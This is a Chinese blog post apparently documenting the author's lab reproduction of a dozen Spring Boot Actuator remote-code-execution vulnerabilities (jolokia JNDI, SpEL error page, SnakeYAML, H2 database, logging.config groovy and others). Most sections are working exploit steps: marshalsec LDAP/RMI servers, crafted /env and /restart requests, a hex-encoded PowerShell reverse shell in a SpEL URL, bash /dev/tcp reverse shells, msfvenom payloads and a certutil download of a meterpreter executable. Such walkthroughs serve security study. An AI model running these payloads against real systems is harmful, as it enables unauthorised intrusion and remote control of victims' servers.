1. 前言
前段时间一直在看Java反序列化相关的东西,最近又闲了下来有空了,继续回来看看Java。这里是采用了actuator-testbed
这个项目,直接一键构建出来一个spring的环境拿来测试用,很方便。
2. 环境
1 | java version "1.8.0_121" |
这里我Java选的是1.8版本的,记得别选11,版本太高有些漏洞复现会有问题的。
直接去github
上下载源码就行,或者直接git clone
1 | git clone https://github.com/veracode-research/actuator-testbed.git |
源码下载后我们有两种构建方法,一种是直接使用mvn
命令构建启动
1 | mvn install |
当然,我们也可以用idea
去构建。这里提一下,用idea构建的时候注意jdk
版本,我是因为装了好几个版本的jdk
,导致idea
构建时不小心默认选了jdk 11
,导致命令怎么都执行不成功,纠结了半天。。。
这里idea
构建的话,直接打开然后等待build
结束后运行就好,也没什么技术含量,唯一需要注意的地方就是jdk
的版本问题。
构建完成后,访问IP:Port
,成功构建(这里IP和Port在log中会有提示)
不过还有个问题,这个环境搭建的其实并不是特别全,有些漏洞还是没有环境复现,需要额外再搭建环境,不过方法很简单,直接下载源码导入IDEA然后一键跑起来就行。源码在文末的参考链接SpringBootVulExploit\repository
里,可以自己下载。
3. 漏洞复现
环境搭建完成后,接下来就是我们的漏洞复现了,一个一个来
3.1 jolokia logback JNDI RCE
漏洞代码:
1 | springboot-jolokia-logback-rce |
利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求未知)并且环境中存在相关MBean
- 目标可以请求攻击者的HTTP服务器(即可出网)
- 普通JNDI注入受目标jdk版本影响,
jdk < 6u201/7u191/8u182/11.0.1(LDAP)
,相关环境可绕过(不会)
利用方法:
- 查看已存在的
MBeans
访问/jolokia/list
接口,查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator
和reloadByURL
关键词
目标存在,good
- 托管xml文件
在vps
上开启一个http
服务器,用来后面的利用。因为是测试,这里我直接开在本地了。
1 | python2 -m SimpleHTTPServer 80 |
在开启http
服务的目录下创建一个以xml
结尾的example.xml
文件(名字其实可以随便起)
1 | <configuration> |
- 准备payload
准备好我们的前置条件后,接下来还需要我们的payload。这里我一共测了两个,都可以用
JNDIObject.java
1 | import java.io.File; |
Evil.java
1 | import java.io.BufferedInputStream; |
两个payload都能用,不过还是第一个师傅的好使,回弹的很丝滑。
编译方法我直接用的
1 | javac JNDIObject.java |
这里编译成功后会生成一个class
的文件,我们需要将这个class
文件放置到上一步的web服务器目录下
- 架设恶意ldap服务
接下来下载marshalsec
(直接github搜索jar包然后下载一个就行),然后架设一个恶意的ldap
服务,命令如下
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 |
- 监听反弹shell端口
使用nc
监听一个反弹端口,等待反弹shell
(这里的端口和上面的payload
同步)
1 | nc -lvp 443 |
- 从外部URL地址加载日志配置文件
拼接URL链接,触发漏洞。
1 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml |
这里需要注意一点,如果访问后链接后目标请求了example.xml并且marshalsec也接收到了目标请求,但是目标没有请求JNDIObject.class,大概率是因为目标环境的jdk版本太高,导致JNDI利用失败
访问构造的URL后,成功触发漏洞
回弹shell成功
漏洞原理:
- 直接访问可触发漏洞的URL,相当于通过
jolokia
调用ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL
方法 - 目标机器请求外部日志配置文件URL地址,获得恶意xml文件内容
- 目标机器使用
saxParser.parse
解析xml文件 - xml文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部JNDI
服务器地址 - 目标机器请求恶意
JNDI
服务器,导致JNDI
注入,造成RCE漏洞
3.2 jolokia Realm JNDI RCE
漏洞代码:
1 | springboot-jolokia-logback-rce |
利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求未知)并且环境中存在相关MBean
- 目标可以请求攻击者的HTTP服务器(即可出网)
- 普通JNDI注入受目标jdk版本影响,
jdk < 6u141/7u131/8u121(RMI)
,相关环境可绕过(不会)
3.2.1 低版本JDK利用
利用方法:
其实利用方法同jolokia logback JNDI RCE
,唯一的区别在于关键词的不同,以及架设的服务不同。
- 关键词
同样的也是访问jolokia/list
接口,不同的是,这里需要查看是否存在type=MBeanFactory
和createJNDIRealm
- 架设恶意rmi服务
这是第二个区别,架设的服务不同。一个是ldap
服务,一个是rmi
服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389 |
- 漏洞触发
还有一个区别时,这个漏洞触发是通过python脚本来触发的,因为漏洞原理的不同,利用方式也有所不同。
脚本使用时记得自己修改下目标地址、RMI地址、端口等信息。
1 | #!/usr/bin/env python3 |
这里其实还有个点需要注意,这里的jdk
版本要求和logback JNDI RCE
的要求是不同的,不可以是8u121
。我一直用的jdk
都是8u121
版本的,复现这个漏洞时就出现了版本问题,需要切换下版本。
shell成功回弹
漏洞原理:
- 利用
jolokia
调用createJNDIRealm
创建JNDIRealm
- 设置
connectionURL
地址为RMI Server URL
- 设置
contextFactory
为RegistryContextFactory
- 停止
Realm
- 启动
Realm
以触发指定RMI
地址的JNDI
注入,造成RCE漏洞
3.2.2 高版本JDK利用(未解决)
这里心血来潮,让我们试试高版本的jdk利用。这里我换了kali来打,因为用到了msf的python反弹shell
- 生成msf的python反弹shell
1 | msfvenom -p cmd/unix/reverse_python LHOST=10.30.7.37 LPORT=80 -f raw -o shell.py |
其中LHOST为kali机IP
- 启动Listener
1 | msfconsole -qx "use exploit/multi/handler; set PAYLOAD cmd/unix/reverse_python; set LHOST 10.30.7.37; set LPORT 80; run" |
- 下载恶意脚本
启动JNDI-Injection-Exploit
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:port/shell.py -o /tmp/.shell.py" -A "vps" |
利用spring-realm-jndi-rce
脚本发送恶意payload
1 | python3 spring-realm-jndi-rce.py http://127.0.0.1:8090/jolokia rmi://10.30.7.37:1099/eya8ty |
执行完了没有效果,奇奇怪怪的,先放着,回来在解决这个问题。
3.3 whitelabel error page SpEL RCE
漏洞代码:
1 | springboot-spel-rce |
上idea
直接导入springboot-spel-rce
代码,等它build
完后直接运行就好。下面漏洞代码构建方法同此。
利用条件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发spring boot默认错误页面的接口及参数名
利用方法:
- 找到一个正常传参处
比如这里是访问/article
,页面会报状态码为500的错误:Whitelabel Error Page
构造一个表达式试试
1 | http://127.0.0.1:9091/article?id=66 |
可以看到我们提前定义好的回显,下面执行SpEl
表达式试试
- 执行SpEl表达式
输入/article?id=${7*7}
,如果发现报错页面将7*7
的值计算出来并显示在报错页面上,那么基本可以确定存在SpEl
表达式注入漏洞。
1 | http://127.0.0.1:9091/article?id=${7*7} |
看起来存在RCE漏洞,让我们来构造一个弹计算器的payload试试看
1 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65}))} |
成功弹了个计算器出来,这意味着我们同样可以拿它来弹个shell,不妨试试看
1 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x70,0x6f,0x77,0x65,0x72,0x73,0x68,0x65,0x6c,0x6c,0x20,0x2d,0x6e,0x6f,0x70,0x20,0x2d,0x63,0x20,0x22,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x20,0x3d,0x20,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x4e,0x65,0x74,0x2e,0x53,0x6f,0x63,0x6b,0x65,0x74,0x73,0x2e,0x54,0x43,0x50,0x43,0x6c,0x69,0x65,0x6e,0x74,0x28,0x27,0x31,0x30,0x2e,0x33,0x30,0x2e,0x31,0x2e,0x31,0x32,0x27,0x2c,0x37,0x37,0x37,0x37,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x20,0x3d,0x20,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x2e,0x47,0x65,0x74,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x29,0x3b,0x5b,0x62,0x79,0x74,0x65,0x5b,0x5d,0x5d,0x24,0x62,0x79,0x74,0x65,0x73,0x20,0x3d,0x20,0x30,0x2e,0x2e,0x36,0x35,0x35,0x33,0x35,0x7c,0x25,0x7b,0x30,0x7d,0x3b,0x77,0x68,0x69,0x6c,0x65,0x28,0x28,0x24,0x69,0x20,0x3d,0x20,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x52,0x65,0x61,0x64,0x28,0x24,0x62,0x79,0x74,0x65,0x73,0x2c,0x20,0x30,0x2c,0x20,0x24,0x62,0x79,0x74,0x65,0x73,0x2e,0x4c,0x65,0x6e,0x67,0x74,0x68,0x29,0x29,0x20,0x2d,0x6e,0x65,0x20,0x30,0x29,0x7b,0x3b,0x24,0x64,0x61,0x74,0x61,0x20,0x3d,0x20,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x2d,0x54,0x79,0x70,0x65,0x4e,0x61,0x6d,0x65,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x54,0x65,0x78,0x74,0x2e,0x41,0x53,0x43,0x49,0x49,0x45,0x6e,0x63,0x6f,0x64,0x69,0x6e,0x67,0x29,0x2e,0x47,0x65,0x74,0x53,0x74,0x72,0x69,0x6e,0x67,0x28,0x24,0x62,0x79,0x74,0x65,0x73,0x2c,0x30,0x2c,0x20,0x24,0x69,0x29,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x20,0x3d,0x20,0x28,0x69,0x65,0x78,0x20,0x24,0x64,0x61,0x74,0x61,0x20,0x32,0x3e,0x26,0x31,0x20,0x7c,0x20,0x4f,0x75,0x74,0x2d,0x53,0x74,0x72,0x69,0x6e,0x67,0x20,0x29,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x32,0x20,0x3d,0x20,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x20,0x2b,0x20,0x27,0x50,0x53,0x20,0x27,0x20,0x2b,0x20,0x28,0x70,0x77,0x64,0x29,0x2e,0x50,0x61,0x74,0x68,0x20,0x2b,0x20,0x27,0x3e,0x20,0x27,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x20,0x3d,0x20,0x28,0x5b,0x74,0x65,0x78,0x74,0x2e,0x65,0x6e,0x63,0x6f,0x64,0x69,0x6e,0x67,0x5d,0x3a,0x3a,0x41,0x53,0x43,0x49,0x49,0x29,0x2e,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x32,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x57,0x72,0x69,0x74,0x65,0x28,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x2c,0x30,0x2c,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x2e,0x4c,0x65,0x6e,0x67,0x74,0x68,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x46,0x6c,0x75,0x73,0x68,0x28,0x29,0x7d,0x3b,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x2e,0x43,0x6c,0x6f,0x73,0x65,0x28,0x29,0x22}))} |
不妨在附个payload的脚本
1 | # coding: utf-8 |
执行脚本后成功回弹shell
漏洞原理:
- spring boot处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中 - 此时URL中的参数值会用
parseStringValue
方法进行递归解析 - 其中
${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作SpEL表达式被解析执行,造成RCE漏洞。
3.4 spring cloud SnakeYAML RCE
漏洞代码:
1 | springcloud-snakeyaml-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的HTTP服务器(请求可出网)
利用方法:
- 托管yml和jar文件
老规矩,先开个HTTP服务
1 | python2 -m SimpleHTTPServer 80 |
在开启服务的目录下放个example.yml
文件
1 | !!javax.script.ScriptEngineManager [ |
接下来就需要我们去构造payload了
1 | import javax.script.ScriptEngine; |
打包成jar包(这里我改了名字)
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
打包好后,同样放到我们刚才开启HTTP服务的目录下
- 设置spring.cloud.bootstrap.location属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
我们这里用的是spring 1.x,直接上第一个就可以(不过我这里貌似发不出去包,重新抓了个包发的)
1 | POST /env HTTP/1.1 |
访问页面,也可以看到成功插入进去
- 刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
抓包,刷新配置
1 | POST /refresh HTTP/1.1 |
成功返回,同时弹出计算器。
还是老样子,能弹计算器,那我们就要弹个shell回来,改下payload。
1 | powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.30.3.182',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
直接替换里面的执行命令就好
替换后重新打包,然后和上面的利用方式一样
成功弹回shell
漏洞原理:
- spring.cloud.bootstrap.location属性被设置为外部恶意yml文件URL地址
- refresh触发目标机器请求远程HTTP服务器上的yml文件,获得其内容
- SnakeYAML由于存在反序列化漏洞,所以解析恶yml内容时会完成指定的动作
- 先是触发java.net.URL去拉取远程HTTP服务器上的恶意jar文件
- 然后是寻找jar文件中实现javax.script.ScriptEngineFactory接口的类并实例化
- 实例化类时执行恶意代码,造成RCE漏洞
3.5 eureka xstream deserialization RCE
放弃挣扎,这个漏洞死活复现不出来,不知道为啥,命令没办法执行。通信流量也有,但是就是没法执行,单独执行弹计算机的jar也可以用,很奇怪。
不过相关的流程还是copy一份大佬的吧,万一有师傅环境一把梭呢。
漏洞代码:
1 | springboot-eureka-xstream-rce |
这里需要提醒下,代码导入后有两处需要修改
application.properties
1 | eureka.client.register-with-eureka=false |
pom.xml
1 | <dependency> |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client < 1.8.7
(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的HTTP服务器(请求可出外网)
利用方法:
- 架设响应恶意XStream payload的网站
这里的脚本作用是利用目标Linux机器上自带的python来反弹shell。使用python在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹shell的IP地址和端口号。(ps:本地有python也可以用,毕竟是测试用例)
- 监听反弹shell端口
1 | nc -lvp 443 |
- 设置eureka.client.serviceUrl.defaultZone 属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
- 刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
3.6 restart h2 database query RCE
漏洞代码:
1 | springboot-h2-database-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/restart
接口重启应用 - 存在
com.h2database.h2
依赖(版本要求未知)
利用方法:
- 设置
spring.datasource.hikari.connection-test-query
属性
下面payload中的”T5”方法每一次执行命令后都需要更换名称(如T6),然后才能被重新创建使用,否则下次restart重启应用时漏洞不会被触发
spring 1.x(无回显执行命令)
1 | POST /env |
spring 2.x(无回显执行命令)
1 | POST /actuator/env |
这个漏洞的版本是spring 2.x,抓包
1 | POST /actuator/env HTTP/1.1 |
访问页面,成功插入
- 重启应用
spring 1.x
1 | POST /restart |
spring 2.x
1 | POST /actuator/restart |
重放刷新包
1 | POST /actuator/restart HTTP/1.1 |
成功回弹计算器
监听端口,构建反弹shell
1 | POST /actuator/env HTTP/1.1 |
漏洞原理:
- spring.datasource.hikari.connection-test-query属性被设置为一条恶意的
CREATE ALIAS
创建自定义函数的SQL语句 - 其属性对应HikariCP数据库连接池的connectionTestQuery配置,定义一个新数据库连接之前被执行的SQL语句
- restart重启应用,会建立新的数据库连接
- 如果SQL语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成RCE漏洞
3.7 h2 database console JNDI RCE
漏洞代码:
1 | springboot-h2-database-rce |
利用条件:
- 存在
com.h2database.h2
依赖(版本要求未知) - spring配置中启用h2 console
spring.h2.console.enable=true
- 目标可以请求攻击者的服务器(请求可出外网)
- JNDI注入受目标jdk版本影响,jdk < 6u201/7u191/8u182/11.0.1 (LDAP方式)
利用方法:
- 访问路由获取jsessionid
直接访问目标开启h2 console的默认路由/h2-console
,目标会自动跳转到页面/h2-console/login.jsp?jessionid=xxxx
,记录下实际的jsessionid=xxxx
的值。
- 准备要执行的Java代码
编译反弹shell的Java代码,编译方法及代码如下
1 | javac -source 1.5 -target 1.5 JNDIObject.java |
1 | /** |
- 托管class文件
在vps上开启一个http服务,端口可随意设置。将上述步骤中的.class
文件拷贝到开启服务的目录下
- 架设恶意ldap服务
下载marshalsec,使用下面的命令架设对应的ldap服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 |
- 监听反弹shell端口
1 | nc -lvp 7777 |
- 发包触发JNDI注入
根据实际情况替换jessionid=xxxx、127.0.0.1、ldap://your-vps-ip:1389/JNDIObject
1 | POST /h2-console/login.do?jsessionid=xxxxxx |
这里全部准备好后,抓包。修改最下面的数据,触发JNDI注入
1 | POST /h2-console/login.do?jsessionid=ffd3a62dfa1a6e77038d2197aa8069bd HTTP/1.1 |
发包后成功触发漏洞,反弹shell成功
3.8 mysql jdbc deserialization RCE
同样的复现失败,GG
项目构建时需要改些东西
pom.xml
1 | <dependency> |
application.properties
1 | spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc |
需要注意下mysql服务的开启,以及数据库的用户名和密码的配置。
漏洞代码:
1 | springboot-mysql-jdbc-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标环境中存在
mysql-connector-java
依赖 - 目标可以请求攻击者的服务器(请求可出网)
利用方法:
- 查看环境依赖
GET请求/env
或/actuator/env
,搜索环境变量(classpath)中是否有mysql-connector-java
关键词,并记录下版本号(5.x | 8.x)
搜索并观察环境变量中是否存在常见的反序列化gadget依赖,比如commons-collections
、jdk7u121
、jdk8u20
等。
搜索spring.datasource.url
关键词,记录下其value
值,方便后续恢复其正常jdbc url
值。
- 架设恶意rogue mysql server
在自己控制的服务器上运行springboot-jdbc-deserialization-rce.py
脚本,并使用ysoserial
自定义要执行的命令
springboot-jdbc-deserialization-rce.py
1 | #!/usr/bin/env python |
1 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser |
上述两个文件放在同一目录下。
- 设置spring.datasource.url属性
修改此属性会暂时导致网站所有的正常数据库服务不可用
mysql-connector-java 5.x版本设置属性值为:
1 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true |
mysql-connector-java 8.x版本设置属性值为:
1 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true |
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
抓包,修改数据
1 | POST /actuator/env HTTP/1.1 |
- 刷新配置
spring 1.x
1 | POST /refresh |
spring 2.x
1 | POST /actuator/refresh |
抓包,刷新配置
1 | POST /actuator/refresh HTTP/1.1 |
到这一步时应该是替换掉原来的spring.datasource.url
中的value
值,可是我直接在开头又加了一遍,导致存在两个spring.datasource.url
,漏洞没办法触发。
- 触发数据库查询
尝试访问网站已知的数据库查询的接口,例如: /product/list
,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发。
这里我触发直接报错了,GG
Error日志
1 | 2023-03-29 17:27:18.405 INFO 34728 --- [ main] trationDelegate$BeanPostProcessorChecker : Bean 'org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration' of type [org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration$$EnhancerBySpringCGLIB$$d4f2f870] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying) |
启动脚本的服务端,访问数据库查询接口后如下显示
看了半天也不知道该怎么解决,先这样吧。
漏洞原理:
- spring.datasource.url属性被设置为外部恶意mysql jdbc url地址
- refresh刷新后设置了一个新的spring.datasource.url属性值
- 当网站进行数据库查询等操作时,会尝试使用恶意mysql jdbc url建立新的数据库连接
- 然后恶意mysql server就会在简历连接的合适阶段返回反序列化payload数据
- 目标依赖的mysql-connector-java就会反序列化设置好的gadget,造成RCE漏洞
3.9 restart logging.config logback JNDI RCE
漏洞代码:
1 | springboot-restart-rce |
利用条件:
- 可以POST请求网站的
/env
接口设置属性 - 可以POST请求目标网站的
/restart
接口重启应用 - 普通JNDI注入受目标jdk版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
- 目标可以请求攻击者的HTTP服务器(请求可出外网),否则restart会导致程序异常退出
- HTTP服务器如果返回含有畸形xml语法内容的文件,会导致程序异常退出
- JNDI服务返回的object需要实现
javax.naming.spi.ObjectFactory
接口,否则会导致程序异常退出
利用方法:
- 托管xml文件
在自己控制的vps机器上开启一个HTTP服务器,端口可随意
1 | python3 -m http.server 80 |
在根目录放置以xml
结尾的example.xml
文件,实际利用链需根据JNDI服务来确定
1 | <configuration> |
1 | Y2FsYy5leGU= |
- 托管恶意ldap服务及代码
参考师傅的文章,修改JNDI并启动(不过不晓得为啥,我这里选中的JNDIExploit
不修改也能用)
1 | https://landgrey.me/blog/21/ |
- 设置logging.config属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
抓包
1 | POST /actuator/env HTTP/1.1 |
- 重启应用
spring 1.x
1 | POST /restart |
spring 2.x
1 | POST /actuator/restart |
修改数据包
1 | POST /actuator/restart HTTP/1.1 |
不过这里奇奇怪怪的执行了两次,弹了两个计算器窗口出来,不太清楚为啥,后面有空在看吧。
还是老习惯了,弹个shell回来吧
example.xml
1 | <configuration> |
1 | bash -c 'exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1' |
起个监听
1 | nc -lvp 7777 |
不过这里我弹shell时出了问题。bash
命令弹不回来,没有响应。改成powershell
命令的话,直接就把服务端给gank掉了,更扯。最后换了nc
命令,弹倒是能弹回来了,但是没有办法运行指令,输个命令敲下回车shell直接就断掉了。推测是因为我服务端的问题,导致没有办法持久化回显指令。
不过弹shell,怎么能如此轻言放弃呢。让我们换个思路,没法直接弹shell,那就上个木马吧。
这里图方便,就不在开cs了,直接msf吧
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.7.37 LPORT=7777 -f exe -o 7777.exe |
木马生成后,我们首先把马下载下来
1 | <configuration> |
1 | certutil -urlcache -split -f http://10.30.7.37/7777.exe |
在这可以看到我们的木马已经下载好了,在msf上开个监听
1 | use exploit/multi/handler |
接着修改我们的脚本,运行7777.exe
1 | <configuration> |
1 | 7777.exe |
成功上线。
漏洞原理:
- 目标机器通过
logging.config
属性设置logback
日志配置文件URL地址 - restart重启应用后,程序会请求URL地址获得恶意xml文件内容
- 目标机器使用
saxParser.parse
解析xml文件(这里导致了xxe漏洞) - xml文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部JNDI服务器地址 - 目标机器请求恶意JNDI服务器,导致JNDI注入,造成RCE漏洞
3.10 restart logging.config groovy RCE
漏洞代码:
1 | springboot-restart-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/restar
接口重启应用 - 目标可以请求攻击者的HTTP服务器(请求可出网),否则restart会导致程序异常退出
- HTTP服务器如果返回含有畸形
groovy
语法内容的文件,会导致程序异常退出 - 环境中需要存在
groovy
依赖,否则会导致程序异常退出
利用方法:
- 托管groovy文件
在vps上开启HTTP服务,端口可随意
1 | python3 -m http.server 80 |
根目录防止以groovy
结尾的example.groovy
文件,内容为需要执行的groovy
代码
1 | Runtime.getRuntime().exec("calc.exe") |
- 设置logging.config属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
抓包
1 | POST /actuator/env HTTP/1.1 |
- 重启应用
spring 1.x
1 | POST /restart |
spring 2.x
1 | POST /actuator/restart |
修改接口,放包
1 | POST /actuator/restart HTTP/1.1 |
成功弹出计算器
修改命令,回弹shell
1 | Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1'") |
漏洞原理:
- 目标机器通过
logging.config
属性设置logback日志配置文件URL地址 - restart重启应用后,程序会请求设置的URL地址
logback-classic
组件的ch.qos.logback.classic.util.ContextInitializer.java
代码文件逻辑中会判断url是否以groovy
结尾- 如果url以
groovy
结尾,则最终会执行文件内容中的grovvy
代码,造成RCE漏洞
3.11 restart spring.main.sources groovy RCE
这个漏洞利用方式其实和3.10的一样,这里就不写过程了,简单把原理copy一份给大家看看吧。
漏洞代码:
1 | springboot-restart-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/restar
接口重启应用 - 目标可以请求攻击者的HTTP服务器(请求可出网),否则restart会导致程序异常退出
- HTTP服务器如果返回含有畸形
groovy
语法内容的文件,会导致程序异常退出 - 环境中需要存在
groovy
依赖,否则会导致程序异常退出
- 设置spring.main.sources属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
漏洞原理:
- 目标机器可以通过
spring.main.sources
属性来设置创建ApplicationContext
的额外源的URL地址 - restart重启应用后,程序会请求设置的URL地址
spring-boot
组件中的org.springframework.boot.BeanDefinitionLoader.java
文件代码逻辑中会判断url是否以.groovy
结尾- 如果url以
.groovy
结尾,最最终会执行文件内容中的groovy
代码,造成RCE漏洞
3.12 restart spring.datasource.data h2 database RCE
漏洞代码:
1 | springboot-restart-rce |
利用条件:
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/restart
接口重启应用 - 环境中需要存在
h2database
、spring-boot-starter-data-jpa
相关依赖 - 目标可以请求攻击者的HTTP服务器(请求可出网),否则
restart
会导致程序异常退出 - HTTP服务器如果返回含有畸形
h2 sql
语法内容的文件,会导致程序异常退出
利用方法:
- 托管sql文件
在vps开启一个HTTP服务
1 | python3 -m http.server 80 |
根目录放置任意名字的文件,内容为需要执行的h2 sql
代码
下面payload中的’T5’方法只能restart执行一次;后面restart需要更换新的方法名称(如 T6)和设置新的sql URL地址,然后才能被restart重新使用,否则第二次restart重启应用时会导致程序异常退出
1 | CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('powershell','/c','calc.exe'); |
- 设置spring.datasource.data属性
spring 1.x
1 | POST /env |
spring 2.x
1 | POST /actuator/env |
抓包
1 | POST /actuator/env HTTP/1.1 |
- 重启应用
spring 1.x
1 | POST /restart |
spring 2.x
1 | POST /actuator/restart |
刷新数据包
1 | POST /actuator/restart HTTP/1.1 |
成功弹出计算器。
修改脚本,回弹shell
1 | CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('bash','-c','exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1'); |
重新发包后回弹shell成功。
漏洞原理:
- 目标机器可以通过spring.datasource.data属性来设置jdbc DML sql文件的URL地址
- restart重启应用后,程序会请求设置中的URL地址
spring-boot-autoconfigure
组件中的org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java
文件代码逻辑中会使用runScripts
方法执行请求URL内容中的h2 database sql
代码,造成RCE漏洞
4. 总结
持续两个月的漏洞复现终于做完了。。。虽然还有好些问题没有解决,漏洞代码原理也还没有追踪学习,不过好歹是把漏洞搞定了。至于剩下的,以后有机会再说吧,Java真难,好累。。。
5. 参考链接
1 | Spring Boot漏洞复现 |
发布时间: 2023-01-05
最后更新: 2023-03-30
本文标题: Spring-RCE系列
本文链接: https://foxcookie.github.io/2023/01/05/Spring-RCE系列/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!